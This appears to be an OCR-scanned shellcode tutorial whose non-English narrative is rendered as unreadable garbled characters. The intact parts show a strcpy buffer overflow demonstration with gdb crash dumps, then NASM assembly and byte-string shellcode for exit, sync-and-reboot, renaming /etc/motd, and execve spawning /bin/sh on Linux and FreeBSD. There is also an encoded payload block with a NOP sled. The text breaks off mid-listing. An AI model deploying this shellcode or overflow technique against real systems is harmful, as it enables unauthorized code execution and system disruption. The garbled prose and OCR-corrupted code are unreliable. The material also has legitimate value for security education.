2+ 2+ (1+C1D)+ (1+(-1) + @+ED)+.ee n=>
- /

2+ 2+ 1+ (-1+(1)) + (-1+(1)) + (-1+(@)+..n =5
| | |
=0
2+2=5

Vlocl & s w
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500 (sdaoowl 9 CH++ Olses U JolS (sulbivil pg3) allio cul 5 oo aisS o S,
9 oy CughowSl ao; > Sy Bree Wlao U et wonwd ol D> ol Lo
Shell Cazo U iiiw Cowd ol g v budl sad wluj> Syw Sug ol solb
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2051550 03 03z S Cowd W Wiwey wul 5 39> wade Al WSS S8 | A S|y
Sl 585505 52> Sl azsi los o wows Gl 5l 0wz Jiluwo Sl 1ol > aS (siy9.0 5>
a4 5 obw J>ho sl Vaw, 9 aly wS)> wige > o weils Lals Lol
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A,z il VBl cowl oas Al U guo S piuiew 5> Aléo 5l G ol
Jio 2wl aid)S 13 5l Guw wigo a4 ) b Jole piuisw ol 5> S8 shy 3
BFreeBSD

Olises 5 I @y b LT aulos s 08Lien sl @ | csuldaS 1o cuglows! Glel s
@ dlio 5l o oul awlsl 5y g (s sl AeS> g jghhio A @ el aS 3l eaewy
350 Jdls (v pudlan ol

"\ xc7\ xc3\ xc6\ x6a\ x47\ xcf\ xcc\ x3e\ x77\ x7b\ x56\ xd2\ xf O\ xel\ xc5\ xe7\ xf a\ xf 6"
"\ xd4\ xf 1\ xf 1\ xe7\ xf 0\ xe6\ xe6\ x95\ xd9\ xf a\ xf 4\ xf 1\ xd9\ xf c\ xf 7\ xe7\ xf 4\ xe7"
"\ xec\ xd4\ x95\ xd6\ xe7\ xf O\ xf 4\ xel\ xf O\ xc5\ xf c\ xe5\ xf 0\ x95\ xd2\ xf O\ xel\ xc6"
"\ xel\ xf 4\ xe7\ xel\ xe0\ xe5\ xdc\ xf b\ xf 3\ xf a\ xd4\ x95\ xd6\ xe7\ xf O\ xf 4\ xel\ xf 0"
"\ xc5\ xe7\ xf a\ xf 6\ xf O\ xe6\ xeb\ xd4\ x95\ xc5\ xf O\ xf O\ xf e\ xdb\ xf 4\ xf 8\ xf O\ xf 1"
"\ xc5\ xf c\ xe5\ xf 0\ x95\ xd2\ xf 9\ xf a\ xf 7\ xf 4\ xf 9\ xd4\ xf 9\ xf 9\ xf a\ xf 6\ x95\ xc2"
"\ xe7\ xf c\ xel\ xf O\ xd3\ xf c\ xf 9\ xf O\ x95\ xc7\ xf O\ xf 4\ xf 1\ xd3\ xf c\ xf 9\ xf O\ x95"
"\ xc6\ xf 9\ xf 0\ xf O\ xe5\ x95\ xdO\ xed\ xf c\ xel\ xc5\ xe7\ xf a\ xf 6\ xf O\ xe6\ xe6\ x95"
"\ xd6\ xf 9\ xf a\ xe6\ xf O\ xdd\ xf 4\ xf b\ xf 1\ xf 9\ xf 0\ x95\ xc2\ xc6\ xda\ xd6\ xde\ xa6"
"\ xa7\ x95\ xc2\ xc6\ xd4\ xc6\ xel\ xf 4\ xe7\ xel\ xe0\ xe5\ x95\ xe6\ xf a\ xf 6\ xf e\ xf 0"
"\ xel\ x95\ xf 6\ xf 9\ xf a\ xe6\ xf O\ xe6\ xf a\ xf 6\ xf e\ xf O\ xel\ x95\ xf 6\ xf a\ xf b\ xf b"
"\ xf 0\ xf 6\ xel\ x95\ xe6\ xf O\ xf b\ xf 1\ x95\ xe7\ xf O\ xf 6\ xe3\ x95\ xf 6\ xf 8\ xf 1\ xbb"
"\ xf 0\ xed\ xf 0\ x95\ x0d\ x0a\ x48\ x6f \ x73\ x74\ x3a\ x20\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"

o | SWAS Gujlo

oo 2wy B LLLelS [30s 51 i g5 nasm (sduowl SaaS Giujls,y Sy i oo
Sy 1l oanw a5l nasm wlhygicws L eani &l (sduoowl SIS cowd (ul )3 od>
PSS 5w oslaswl ) 994w d Nasm )'| oslawl U (sduoow! Sl 1S JJLuolS

nasm -o prog prog.S

@ Ll b aS 1wl sw b Sl oleMbl Sgl> prog LB Oloyd (ul Sl 5l as
Mow 5 | wleMbl ol aulgi (s locis ada=]) ¢l )5 900 pudlg> ao>,5 shellcode
il 3905 pudles olal Ol @ aS uwils Ll Su sl b o S bl Uloyd

VA LJJLC M) 90 qq_ﬂ)4|L)4|)| oslaswl LSLH dwlos oslaswl

gcc -0 S-proc s-proc.c
bash-2.04$%$ ./s-proc -e prog
Cal ling code
sh-2.04% exit
bash-2.04$% ./s-proc -p prog

char shellcode[] =
"\ xeb\ x1a\ x5e\ x31\ xc0\ x88\ x46\ x07\ x8d\ x1e\ x89\ x5e\ x08\ x89\ x46"
"\ x0c\ xb0O\ xOb\ x89\ xf 3\ x8d\ x4e\ x08\ x8d\ x56\ x0c\ xcd\ x80\ xe8\ xel"
"\ xff\xff\xff\x2f\x62\ x69\ x6e\ x2f \ x73\ x68\ x23\ x41\ x41\ x41\ x41"
"\ x42\ x42\ x42\ x42";



bash- 2. 04$
absl>

ok 4 el o Sl adl aswe wlhigiws o Wso 4 Vaoso @ Shellcode
wilyd aolyy as ol acwls asgi WU Ll I s Shl Sx,u)lS Slaslyy > 3945

Ll odgy runtime s> a4 3L
W0 W)Hgo Sdaio Skd ol 5l Csweiwww 9 S>,0,8 Sla aoli,y 5> W Shellcode (54,5

buffer overflow puisls, Ol 4 (sWld Guss 5> aS Vg0 S ol, Vlad 51 (8 5,8
Lo U o 358 (w0 0,ps o ol 51 wgS>shellcode S, aSiul puogi Sl il o
1l s C oo oslaiwl UL)) pd> sw Juwslos |, buffer overflow ;1 oslw aigos Sy

(

void main(int argc, char **argv, char **envp) {

char array[ 200];
strcpy(array, argv[1]);

}

If we conpile this (gcc -o overflow overflow.c) and execute it with a
very

| arge string of characters we can overwite nenory:

On linux:

[ root @roopy done]# ./overflow “perl -e '"print "A" x 220' " BBBB
Segnentation fault (core dunped)

[ root @r oopy done] #

On FreeBSD:

[root @reebsd done]l# ./overflow "perl -e "print "A" x 204' " BBBB
Segnentation fault (core dunped)

[root @reebsd done]#

Lo 999 anli,y )3 aS auw, wsw Lk @ § aiwuoo Ll aid i SU; shellcode ¢l wlgs>
@ ol 03900 plazil oo >l JI> s aoli,y @, aS 4B g 220AL |, akdls> I soljuo
ol Az cowl 05,5 ol adadls w4 VlogS,l ul — el wlls s VlogS,l wigo
L b >gui overwrite agV ol oy oani 03> wleMbl wowl ooni ul Joce
a> aS Juopes dwlgi s JuB w55, 35Ul 9 gdb(the GNU Debugger) ;| oslaiwl
Blgi o Slowyi g9 9l 0,p)s el gdb bwgi (s>, S osls cowl oslisl s8lasl
Lol asaly owy U s)has 1lgi swi suse uBawles Sy (g -dgl al>g > il
o, |, ulimit 2o ,S1 9 auS GoMo i | A 3udg0i wdl,s |, coredump Lo S

(ulimit —c 99999 )99999 Jls ,ob

[ root @r oopy done] # gdb -core=core

G\U gdb 5.0

Copyri ght 2000 Free Software Foundation, Inc.

GB is free software, covered by the GNU General Public License, and
you are

wel cone to change it and/or distribute copies of it under certain
condi tions.

Type "show copying" to see the conditions.



There is absolutely no warranty for GDB. Type "show warranty" for
details.

This GDB was configured as "i 386-redhat-1inux".

Core was generated by "./overfl ow

Programterm nated with signal 11, Segnentation fault.
#0 0x42424242 in ?? ()

(gdb) info al

eax Oxbf fff 990 -1073743472

ecx Oxfffffdc3 -573

edx Oxbffffcad -1073742675

ebx 0x4013b824 1075034148

esp Oxbffffa70 Oxbffffa70

ebp 0x41414141 0x41414141

esi Oxbffffad4 -1073743148

edi 0x0 0

eip 0x42424242 0x42424242

ef | ags 0x10286 66182

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x2b 43

gs 0x2b 43

stO 0 (raw 0x00000000000000000000)
stl 0 (raw 0x00000000000000000000)
st2 0 (raw 0x00000000000000000000)
st3 0 (raw 0x00000000000000000000)
st4 0 (raw 0x00000000000000000000)
st5 0 (raw 0x00000000000000000000)
st6 0 (raw 0x00000000000000000000)
st7 0 (raw 0x00000000000000000000)
fctrl 0x0 0

fstat 0x0 0

ftag 0x0 0

fiseg 0x0 0

fioff 0x0 0

f oseg 0x0 0

f oof f 0x0 0

fop 0x0 0

Oloj 55 60 v a8, o 5l wleMbl Wlgixo (solod puilsi o o gdb 5l aslaiwl b
9 03,8 skl sl wlds Wygo 4 |y ppo Hloun OlogS)l 95 o S adline 54y s
2>l el 8 as siiwd sl 4 Vlod b (suiw 32 Sld oauw wud EIP g EBP o3g00
@ aS |, EIP g EBP bghs losis YU GDP (sxgys 55 3isS csw S)ls @S Lo wlogS,|
g0 [l balas Lol aulos (s oadlino | 2l oosi osls Ulinv Sy puo Wi
L cowl oaui overwrite aladls bghs ol aS eulos o,Lil Ll @ ulgi (s aS Jiswd
0x41414141. ,laso EBP 1ulo,9 (sw oadliw aS jghilod pusges JyiuS aS (sileMbl
im0 ol U, A SLIS Sy cowl JlowwslEa Hlase ) 41 @S cowl asls oS5 |,

042424242, laao LEIP ol Guizod 1ily o AAAA Sgl> EBP aS vl
|, BBBB a0 EIP aS cowl Lzo Ol a4 ¢l 9 0315 Giwslos |, B lade JlowwsliSa s 42
o |y abbdls i gdb s X 0loydsl oslaiwl b oo losd. ulos csw Sl aSs



w150 0lo,d 5l oslaiwl b I, abasls 10U puilgi o o 5,90 ol 55 dwlos Csowyys Juilgs
390 v Lswlbwlicw EIP wub Jawgi Oxbffffa70 as Oxbffffa70’

(gdb) x/ 150 $esp

Oxbf fffa7o0: 0x00000000 Oxbf f ffad4 Oxbf fffae0 0x0804830e
Oxbf fffa80: 0x080482e4 0x4013b824 Oxbffffaa8 0x40037b4c
Oxbf f f f a90: 0x00000000 Oxbf f f f ae0 0x4013a358 0x40016638
Oxbf f f f aa0: 0x00000002 0x08048380 0x00000000 0x080483al
Oxbf f ffab0: 0x0804845c¢c 0x00000002 Oxbf f ffad4 0x080482e4
OxbffffacO: 0x080484cc 0x4000df 24 Oxbffffacc 0x40016c0c
Oxbf f ffado: 0x00000002 Oxbffffbcl Oxbf fffbcc 0x00000000
Oxbffffae0: Oxbffffcad Oxbffffcce Oxbffffced Oxbf f ff dof
OxbffffafO: Oxbffffdlb Oxbffffede Oxbffffefd Oxbfffffl3
Oxbffffb0O: Oxbfffffle Oxbfffffad Oxbfffff35 Oxbfffffas
Oxbffffblo: Oxbfffffs53 Oxbfffffoea Oxbfffffof Oxbfffff80
Oxbffffb20: Oxbfffffa3 Oxbfffffbo6 Oxbfffffc3 0x00000000
Oxbf fffb30: 0x00000003 0x08048034 0x00000004 0x00000020
Oxbf fffb40: 0x00000005 0x00000006 0x00000006 0x00001000
Oxbf f f f b50: 0x00000007 0x40000000 0x00000008 0x00000000
Oxbf f f f b60: 0x00000009 0x08048380 0x0000000b 0x00000000
Oxbf fffb70: 0x0000000c 0x00000000 0x0000000d 0x00000000
Oxbf f ff b80: 0x0000000e 0x00000000 0x00000010 0x0080f of f
Oxbffffboo: 0x0000000f Oxbf f f f bbc 0x00000000 0x00000000
Oxbf f f f ba0: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbf f ffbb0: 0x00000000 0x00000000 0x00000000 0x36383669
OxbffffbcO: 0x6f 2f 2e00 0x66726576 0x00776f 6¢C 0x41414141
Oxbf fffbdo: 0x41414141 0x41414141 0x41414141 0x41414141
Oxbf f f f beO: 0x41414141 0x41414141 0x41414141 0x41414141
Oxbf f f f bf O: 0x41414141 0x41414141 0x41414141 0x41414141
Oxbf fffc00: 0x41414141 0x41414141 0x41414141 0x41414141
Oxbf fffcl0: 0x41414141 0x41414141 0x41414141 0x41414141
Oxbf f f f c20: 0x41414141 0x41414141 0x41414141 0x41414141
Oxbf fffc30: 0x41414141 0x41414141 0x41414141 0x41414141
Oxbf f ffcd0: 0x41414141 0x41414141 0x41414141 0x41414141
Oxbf f ff c50: 0x41414141 0x41414141 0x41414141 0x41414141
Oxbffffc60: 0x41414141 0x41414141 0x41414141 0x41414141
Oxbf fffc70: 0x41414141 0x41414141 0x41414141 0x41414141
Oxbf f ffc80: 0x41414141 0x41414141 0x41414141 0x41414141
Oxbf fffc90: 0x41414141 0x4141414 0x41414141 0x41414141
Oxbf f f f caO: 0x41414141 0x4141414 0x42424242 0x44575000
Oxbf f ff cbO: 0ox6f 682f 3d 0x6e2f 656d 0x736c6569 0x6f 7a2f 68
Oxbf fffccO: 0x722f 656e 0x79646165

(gdb)

Cowlziul S pwlos oadlie ;53S0 w iy |, EIP 9 EBP owlgi sw =l 55 o
Ol Wl sei sobhb (Sygiws wsuloasly ) EIP 5y Gwysl wsls 553 U b cugliws|
o Ol Sjy) 5w cucl abdl> 53L s Lhai 3,00 Sl 5 i8S 18 L aS siwd S)giws
ae> Jlio 3,5 w8 ahdls s b sla shellcode aS cowl (s Ulod ol — >
2L Us,S 5 Sy 97 o)l Sy saw l egun abds s Gl —p)3ly S Sy sow
L o Jbo ol 5> auil wlgi s s> LB Shu) sow Sy 590 wlicee blas acdl wowl

5905 pudles 5 & ol ol

Registers ;| o>laiuwl

9 035900 Aupi |, s 8 9 W 16 Ol Fuws L, 9 ww 32 S i, Ll oSk
51 osleswl 1uopd udlgs oo W shellcode aswgi Uloy ,5 wowl 05,5 5,luliowl
Aulos (s S,Sel> wluld S 5> b ol NULL ginwls 5l wdel b s, (uiS>eS



Sy pudd 5 | puge S I @ b lowws Ul aS ail o jshaio 11 e (s @id),S ki s
iz aS aiyl pghio ) il 0aepd B> il 5l ) poshie aS plaael. ol osls 1,8 Jud
L, Sl aoly s ugdio 32,1591 o0 o ol Bilgi (0 izl puod 4 wleMbl
S i Ldles oslawl oail 5> @S uld s, W dwly ol (5l Lbs @

Pl dig (=i 0SS5

32Bit |16 Bit |8 Bit High) |8 Bit Low)

EAX |AX |AH AL
EBX |BX |BH BL
ECX [CX |CH CL
EDX DX |DH DL

a4 cswloows Sy b Gyl Uew (sw 0.0l Accumulator Sl >, EAX, AX,AH AL
anolsl ;5 oo g4 (sw oslaiwl oue g interrupt (sulg>1,9 9l/0, Arthemetics, w,q
300 (swoioupw S (ilg>9 55 W L ol 5l eslawl g lood Giuzy il

3,35 w9 oslaiwl

S Slas sy byiuus, ol 3eaw S 0awl base s iwa>, EBX,BX,BH,BL
5 udlgs dlio anlsl ;> lowiw 39, sw L8 @ Sl akdls Sla sewyiws Sl sl al
w5l 0aui (sulgx18 OlogS)l 5y b Llin Sl a5 Sy b ol il )l b S
)'| LS\.A.».AS)J )gbl.é.o L$)|> s t5|).g b b UJ| wlel .\.J).S WS\o )|)9 oslaswl >)90
PED @y 590 w0 90 ol ,d aS (Wl S e (sw oslacwl interrupt
5L cwiiw ile=ha U L bl b (si89 il (s Open (i (siilg>1,9
390 Ol Usges 5L P a4 B 1/0 55 Xlgi o aS b jwso pusw A6S Gw

S90S,y a5 EBX wuli 5,9 oslawl

aS i o olsl 5y Wl diwd W20 LulS S Lidu>, au ECX,CX.CH,CI
S Csw oslawl 568 S Wy @y CL 5l loop S, aigS>

9 1/0 &g 0 wsuliws Sy g 03w oulgs> Data S yww>, & EDX,DX,DH,DL
>900 oslawl interrupts sla (sulg>,9 sarthemetice

ol IS 5l sl (e b3S bl ) oo (ilex1d S bl o aS swolis
Ll ssw exit(0) syscall

nov al, 0x01 ; The syscall nunber for exit
Xxor ebx, ebx ; EBX will now contain the value 0
i nt 0x80 ; and activate !

ks> apyiS26S 5l aS ol oo sl ol £35S o)lul Ol 4 pd Ju8 > aS jshilas
NULL Bytes waol 59>91 5l yol ol 20,50 0,00 d 03ls S)ls oS5 Sl Gwriws 5> sSla
oslaiwl (s>9,5 S Sy 45 aS 5l b LS Jle Sy S Lsw S,uSgl> shellcode >



BITS 32
; exit(0) code

nmov eax, 0x01 ; The syscall nunber for exit
xor ebx, ebx : EBX will now contain the value 0
i nt 0x80 ; and activate !

w>9,> ,5> NULL Bytes wygo au il ol Hlase eax >, aS >g.i 5w e b
1S &, vl shellcode

su-2.05a# s-proc -p exit

char shellcode[] =
"\ xb8\ x01\ x00\ x00\ x00\ x31\ xdb\ xcd\ x80";

S >, pwilgi swo/lo 3uolue Nasm zusy 5l i as ndisasm 1 oslaiwl U
palos pazaiuwe | 1l 0adh an>,i aS |, suVgb

su- 2. 05a# ndi sasm exi t

00000000 B80100 nmov ax, 0x1
00000003 0000 add [bx+si], a
00000005 31DB xor bx, bx
00000007 CD8O i nt 0x80

DD u.u)bi OMS o

S gyl sl b saas 5l algi swi b W shellcode s)lgo 51 S lowy >

5l cromaid 1S s Louis 4y 5,80 wleMbl Al aSiul by ol ply 1S oslairl aladls

jmp short stuff
code:

pop esi
<dat a>

stuff:
cal | code
db "This is nmy string#

stuff oS ouslel couwd > Jmp L o aS sl (5w SaS w0 VU )d oo @S Siux
V> sl o pep esi ,Sskel code aS suls )5 pusS (o Uivp call code  Caooud au

590 _sw ol> this is my string sl aii, wouwd > esi

In the above sanple [esi + 1] represents 'h' fromthe word 'This'.

NULL Bytes aliwuo



ww o sl L shellcode aS sioud (swaxiiio S 0d9a=0 U Sld aisw, 1wyl NULL
51 eslawl 5 | o slal B ol NULL ool Lol s aS sl sl shellcode 31 2,
i aS (siloj 3929 ol b3S Ol puoyi 53 (seaw 9 18 ol (VbS5 595 ayshellcode
adlgs> Runtime s | Lol oo ol awlws Shellcode > «olb NUUL  awlgs
aii, 5 L 1 ol e WeS> aS 391 ul udus YU Jlino s aS | Si ol oVl cosls

oS Lazain Ul
jmp short stuff
code:
pop esi
xor eax, eax ; doing this will make eax NULL
nov byte [esi + 17], al ; put a null byte byte on [esi + 17]
stuff:
cal | code
db "This is nmy string#

55 |, This is my string @i, 9 oud,S b NULL 58l | # b Bgd Jlo >
3S £90 Sy U Wl Shy L eusges S,Sel> O Ul 359>95 5l 9 eus,S 39uL Runtime
ool Siuas Slel s b oluld aii, cowl Hips aS pau0pd Go swoi 9 ol Csaugs
sl @ B ol NULL bhid aS o wb) 5l (oI @i ol 585 aidl. awlos Ll
o S 039 S S8 L was sla Y Jud 5l b wul )30 i sbe JShi

g WMS i el awlgs

syn() , reboot() sbd Jlw
IEVAY) |).>| Muuuyyazo SS9, |) L&ULO)S UJ|

be sl s L Sync o b Seaws 30 piuuew LB cdls U9l =90 Sync
»> reboot() el> 55 L ol 1L o ((Olausi pwgrs a=ei JB)  dod s esianpw
5B i LB Sgy u aS suleMbl vans 03 51U esls HL8 ulgsle oK
acl wlgi (s S ol 5l esleiwl 98 aidl pwlos S,Sel> 1l oo aiig Souwd
>, reboot 1 8 Jled sl Giujls,y seid aS wde cul @ Ly sei 1 ol wans oS
sl pwlos adlol guio 3S @ |, 5,505 0315 o aS o o3V L35 adaxd ul s 36l vasiu
oo Lgiw x> L oS (s wdled ol plaS )5 b aS aliiww ol 5l aS 2,100 05V

> Cowl oo lae JB8 55 28 5> Sy auolg Wigo A Bgd

BI TS 32

pop esi

xor eax, eax
nov al , 36

i nt 0x80

nov al, 36

i nt 0x80

nov al, 88



nov ebx, Oxfeeldead

nov ecx, 672274793
nov edx, 0x1234567
i nt 0x80

Cowl 00uw g (sduouwl SWaS ¢ul L shellcode

Shel | code produced by this assenbly code:
[ root @r oopy doc]# nasm -0 reboot reboot.S
[ root @r oopy doc]# s-proc -p reboot

char shellcode[] =
"\ x5e\ x31\ xcO\ xb0\ x24\ xcd\ x80\ xb0O\ x24\ xcd\ x80\ xb0O\ x58\ xbb\ xad"
"\ xde\ xel\ xf e\ xb9\ x69\ x19\ x12\ x28\ xba\ x67\ x45\ x23\ x01\ xcd\ x80";

Joblioe yaSyn() oS 4blal 4y sylas Lé 4S cwl eolw yaisT 44y FreeBSD us
oy a1y ol

BITS 32

xor eax, eax
nov dx, 9998
sub dx, 9990
nov al, 55

i nt 0x80

Caowl 030w Cow)d> 505 AS L FreeBSD puiwuaw shellcode

char shellcode[] =
"\ x31\ xc0\ x66\ xba\ x0e\ x27\ x66\ x81\ xea\ x06\ x27\ xb0\ x37\ xcd\ x80";

.Lu|9.; o aS Cowl |)|> O)L_ng @Jb)J t5|).g |) Sz Sl Jug, FreeBSD Ls}lS )gjo U
Llos oslaiwl W ol 51 S5 5l

Rename() , linux

Cowl 55 W90 A ilexhhd piiw pU Huus

i nt rename(const char *ol dpath, const char *newpath);

0038 93> 5l ,SLiw 95 U o (sulg=hd ul 5l 5ol Canddgo osleiwl Sy cp> d @
odaonwl slea Hgiws 5l pwilgi (oo 3L 3590 Gwodl U9l cows Sy ooy 5L Ju
S 03laiwl

BI TS 32

jmp short callit



doi t:

pop esi

xor eax, eax

nov byte [esi + 9], al ; termnate arg 1

nov byte [esi + 24], al ; termnate arg 2

nov byte al, 38 ; the syscall renane = 83

| ea ebx, [esi] ; put the address of /etc/notd (esi)
i n ebx

| ea ecx, [esi + 10] ; put the address of /etc/ooops.txt
(esi + 10) in ecx

i nt 0x80 ; W& have everything ready so lets
call the kernel

nov al, 0x01 ; prepare to exit()

xXor ebx, ebx ; clean up

i nt 0x80 ; and exit !

callit:

cal | doi t

99 pd VU w90 4 andl 2ol JSew v wlgine db bas aS sl acils asgs
.\JSLS\.QJ

db "/ et c/ not d#
db '/ etc/ooops. t xt#

3l w55 505 wiso Ul LlolS 5l asy (sduowl S 2S¢l 5l 0w augs shellcode

char shell code[] =
"\ xeb\ x18\ x5e\ x31\ xc0\ x88\ x46\ x09\ x88\ x46\ x18\ xb0\ x26\ x8d\ x1e"
"\ x8d\ x4e\ x0a\ xcd\ x80\ xb0O\ x01\ x31\ xdb\ xcd\ x80\ xe8\ xe3\ xf f\ xff"
"\ xf f\x2f\ x65\ x74\ x63\ x2f \ x6d\ x6f \ x74\ x64\ x23\ x2f \ x65\ x74\ x63"
"\ x2f \ x6f \ x6f \ x6f\ x70\ x73\ x2e\ x74\ x78\ x74\ x23";

il swi VoS, (il execeve numberl

3l ol a4 LB SO shal Sl mimw ulgshd o aS s ulgi (s execve
Cowl JSoi ol 4 puSeid > oslaiwl iug,

int execve (const char *filenane, char *const argv [], char *const
envp[]);

g UlogS,l > &5&)9&@/&4»'))@5%@')”&'95)@)&@ 3alo gy ol oo
paiand Houx0 piS 1y 1) (auxo bl puiwiles @S siloj 5> — (sdaa=o @)l S50
oS o Ll pd JSi oul @ | execve o oS oslawl Ol Sl @y NULL S 5l

execve("pointer to string /bin/sh","pointer to /bin/sh","pointer to
NULL") ;



BI TS 32

jmp short callit

doit:

pop esi

our string

Xor eax, eax

nov byte [esi + 7], al

| ea ebx, [esi]

it in register ebx

nov | ong [esi + 8], ebx
of /bin/sh) in AAAA ([esi +8])
nov | ong [esi + 12], eax
eax)

nov byte al, OxOb

whi ch represents execve

nov ebx, esi

| ea ecx, [esi + 8]
pointer to /bin/sh

| ea edx, [esi + 12]
poi nter to NULL

i nt 0x80

callit:

cal | doi t

| ocation of db

db ' | bi n/ sh#AAAABBBB'

jmp trick as expl ai ned above

esi now represents the | ocation of
nmake eax O

term nate /bin/sh

get the adress of /bin/sh and put
put the value of ebx (the address
put NULL in BBBB (renenber xor eax,

Execution tinme! we use syscall O0xOb

ratatata /bin/sh
ratatata our

argunent one..
argunment two. ..

argunent three... ratataa our

part of the jnp trick to get the

shellcode > |, #AAAABBBB Sla,iSLES loi> aS cows o3V aS axgi JU oS 3l «
51 L adasls shellcode aS auwl acwls | aswis ol 2lgi (s Ol il (sJg auds I8

char shellcode[] =

>9. oslaiwl 5 shellcode

"\ xeb\ x1a\ x5e\ x31\ xcO0\ x88\ x46\ x07\ x8d\ x1e\ x89\ x5e\ x08\ x89\ x46"
"\ x0c\ xbO0O\ xO0b\ x89\ xf 3\ x8d\ x4e\ x08\ x8d\ x56\ x0c\ xcd\ x80\ xe8\ xel"
"\ xff\Xxff\xff\x2f\x62\ x69\ x6e\ x2f \ x73\ x68\ x23\ x41\ x41\ x41\ x41"

"\ x42\ x42\ x42\ x42";

g s i CPU S w5 syscall ulogS,I VU Jlio >

(eax,ecx,edx etc).

e csw LI3Sly Lsulgx,8 pouuw @ stack a Ll wsls o L BSD S eiwsw
;S a>gi BSD > execve Jbo ol a4 a0 VYU pgpen yigs S5 Sy wlgs

BI TS 32

jmp short callit

doi t:



pop esi

xor eax, eax
nov byte [esi + 7], a
push eax

push eax

push esi

nov al , 59
push eax

i nt 0x80
callit:

cal | doi t

db "/ bin/sh'

And the result:
su- 2. 05a# s-proc -p execve

char shellcode[] =
"\ xeb\ x0e\ x5e\ x31\ xc0\ x88\ x46\ x07\ x50\ x50\ x56\ xb0O\ x3b\ x50\ xcd"
"\ x80\ xe8\ xed\ xf f\ xff\xff\x2f\x62\ x69\ x6e\ x2f \ x73\ x68";

su- 2. 05a# s-proc -e execve
Calling code ..
#

il v UlbegS;l S execve Number 11

VU soled

i nt execve (const char *filename, char *const argv [], char *const
envp[]);

lod puyls 5l csdaazo @byl 9 WlogS )l g Ulo L6 puwl Sy S,LEw @ o ¢l
5,5 osleiwl NULL 5l puwlgi (s (Jauxo) S 31 ,SLaw ws,S 1oy pac Wygo > YU Jlbo
S oslasiiwl awlgi (s Sl anly ,a Sl |, execve aS aowl awls sl

BITS 32
jmp short callit
doit:

Part one: Manipul ate the string
defined after 'db’

pop esi ; esi now represents our string
xor eax, eax ;
nov byte [esi + 7], al ; put null byte after /bin/sh and ths

term nate the string
nov byte [esi + 10], al ; ditto but then after -



our system cal
nov | ong

i n AAAA

| ea

ebp

nov | ong
BBBBB

nov | ong

execut e
nov byte
nov
| ea
| ea
i nt
nov
xor
i nt

callit:
cal |

db

[esi + 11], esi
ebx, [esi + 8]
[esi + 15], ebx

[esi + 19], eax

al, OxOb

ebx, esi

ecx, [esi + 11]
edx, [esi + 19]
0x80

al, 0x01

ebx, ebx
0x80

doi t

Part two: Prepare the argunents for

get address of /bin/sh and store it

get adress of -i and store it in

store the address in [esi

put NULL in CCCC

+ 15] ->

Part three: Prepare execution and

Ox0b is the execve system cal

ebx = argunent 1
argunents pointer

envi ronnent poi nter

" I bi n/ sh#- i #AAAABBBBCCCC

[ root @Ir oopy execve-2]# nasm -0 execve execve.S
[ root @Ir oopy execve-2]# s-proc -p execve

char shell code[]

"\ xeb\ x27\ x5e\ x31\ xc0\ x88\ x46\ x07\ x88\ x46\ x0a\ x89\ x76\ xOb\ x8d"
"\ x5e\ x08\ x89\ x5e\ x0f \ x89\ x46\ x13\ xb0O\ x0b\ x89\ xf 3\ x8d\ x4e\ x0b"
"\ x8d\ x56\ x13\ xcd\ x80\ xb0O\ x01\ x31\ xdb\ xcd\ x80\ xe8\ xd4\ xf f\ xff"
"\ xff\x2f\ x62\ x69\ x6e\ x2f \ x73\ x68\ x23\ x2d\ x69\ x23\ x41\ x41\ x41"
"\ x41\ x42\ x42\ x42\ x42\ x43\ x43\ x43\ x43";

[ root @Ir oopy execve-2]# s-proc -e execve

Calling code ..

sh-2. 04#

i nt execve (const char

envp[]);

1wl o UbogS,l 95 slyls Execve Number 111

: 5,8 padles oslaiwl Heiws ol 51 VU wnlse (gub

*fil ename,

char *const argv [],

char *const

Clo Vad g



i nt execve (AAAA pointer to array AAAABBBBCCCC, DDDD)

BITS 32

jmp short callit

doit:

pop esi

xor eax, eax

nov byte [esi + 7], al ; term nate /bin/sh

nov byte [esi + 10], al ; terminate -c

nov byte [esi + 18], al ; terminate /bin/ls

nov | ong [esi + 20], esi ; address of /bin/sh in AAAA

| ea ebx, [esi + 8] ; get address of -c

nmov | ong [esi + 24], ebx ; store address of -c in BBBB

| ea ebx, [esi + 11] ; get address of /bin/ls

nov | ong [esi + 28], ebx ; store address of /bin/ls in CCCC
nov | ong [esi + 32], eax ; put NULL in DDDD

nov byte al, 0xOb ; prepare the execution, we use
syscall OxOb (execve)

nov ebx, esi ; program

| ea ecx, [esi + 20] ; argunent array (/bin/sh -c
/bin/ls)

| ea edx, [esi + 32] ; NULL

i nt 0x80 ; call the kernel to | ook at our
stuff ;-)

callit:

cal doi t

db "/ bi n/ sh#- c#/ bi n/ | s#AAAABBBBCCCCDDDD

[ root @r oopy execve-3]# s-proc -p execve

char shellcode[] =
"\ xeb\ x2a\ x5e\ x31\ xcO\ x88\ x46\ x07\ x88\ x46\ x0a\ x88\ x46\ x12\ x89"
"\ x76\ x14\ x8d\ x5e\ x08\ x89\ x5e\ x18\ x8d\ x5e\ xOb\ x89\ x5e\ x1c\ x89"
"\ x46\ x20\ xb0\ x0b\ x89\ xf 3\ x8d\ x4e\ x14\ x8d\ x56\ x20\ xcd\ x80\ xe8"
"\ xd1\ xff\xff\xff\x2f\x62\x69\ x6e\ x2f\ x73\ x68\ x23\ x2d\ x63\ x23"
"\ x2f \ x62\ x69\ x6e\ x2f \ x6¢c\ x73\ x23\ x41\ x41\ x41\ x41\ x42\ x42\ x42"
"\ x42\ x43\ x43\ x43\ x43\ x44\ x44\ x44\ x44" ;

[ root @r oopy execve-3]# s-proc -e execve
Calling code ..

execve execve.S
[ root @Ir oopy execve- 3] #

open(), Write(), Close(), exit() LINUX

BI TS 32

jmp short callit



| ea

exist) + 2 rw
nov

per m ssi ons

i nt

| ong

callit:
cal l

db
db

Now t his code wi ||l

es

eax, eax

[esi + 14], al
